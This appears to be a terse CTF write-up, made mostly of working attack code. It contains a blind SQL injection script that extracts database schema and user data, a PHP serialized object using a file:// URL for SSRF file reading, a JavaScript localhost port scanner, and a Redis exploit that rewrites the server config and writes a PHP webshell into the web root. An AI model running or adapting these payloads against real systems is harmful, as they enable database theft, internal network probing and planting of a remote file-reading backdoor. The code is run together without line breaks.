def check(payload): data=url+payload r=requests.get(data).content #print r return "www.baidu.com" in r
flag='' s=r'1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@_:{}";\',\.' for i in range(1,99): for c in s: # payload="if((substr((select group_concat(table_name) from information_schema.tables where table_schema='fakebook'),%d,1)='%s'),1,0)"%(i,c) ## no,username,passwd,data payload="if((substr((select group_concat(column_name) from information_schema.columns where table_name='users'),%d,1)='%s'),1,0)"%(i,c) ## nousernamepasswd # payload="if((substr((select data from users),%d,1)='%s'),1,0)"%(i,c) #print payload if check(payload): #print c flag+=c break print flag ## O:8:"userinfo":3:{s:4:"name";s:3:"v0w";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
@app.route('/', methods=['GET', 'POST']) def index(): if request.method == 'GET': return render_template('index.html') else: f = request.files['file'] filename = str(uuid.uuid1()) + '.html' basepath = os.path.dirname(__file__) upload_path = os.path.join(basepath, 'static/upload/', filename) content = f.read() #hint if'level=low_273eac1c' not in content and'dbfilename' in content.lower(): return render_template('index.html', msg=u'Warning: 发现恶意关键字') #hint with open(upload_path, 'w') as f: f.write(content) url = 'http://127.0.0.1:80/upload/'+filename links = casperjs_html(url) links = '\n'.join(links) if not links: links = 'NULL' links = 'URL: '+url+'\n'+links return render_template('index.html', links=links)
@app.route('/get_sourcecode', methods=['GET', 'POST']) def get_code(): if request.method == 'GET': ip = request.remote_addr if ip != '127.0.0.1': return'NOT 127.0.0.1' else: with open(os.path.dirname(__file__)+'/run.py') as f: code = f.read() return code else: return''
<a id="result"></a> <script> var data = document.getElementById('result').innerHTML; var TagName = document.getElementsByTagName("body")[0]; ports=[80,81,88,6379,8000,8080,8088]; for(var i in ports){ var script = document.createElement("script"); poc = "data += '" + ports[i] + " OPEN; '; document.getElementById('result').innerHTML = data;" script.setAttribute("src","http://127.0.0.1:" + ports[i]); script.setAttribute("onload", poc); TagName.appendChild(script); } </script>
得到8000端口开放着,猜测是apache2等phpserver
构造一个Redis EXP。
<a href="" id="flag">test</a> level=low_273eac1c <script> var xmlHttp; if(window.XMLHttpRequest){ xmlHttp = new XMLHttpRequest(); } else{ xmlHttp = newActiveXObject("Microsoft.XMLHTTP"); }
var formData = new FormData(); formData.append("0","flushall"+"\n"+"config set dir /var/www/html/"+"\n"+"config set dbfilename shell.php"+"\n"+'set 1 "\n\n<?php header(\'Access-Control-Allow-Origin:*\'); echo file_get_contents($_GET[_]);?>\n\n"'+"\n"+"save"+"\n"+"quit"); xmlHttp.open("POST","http://127.0.0.1:6379",true); xmlHttp.send(formData); </script>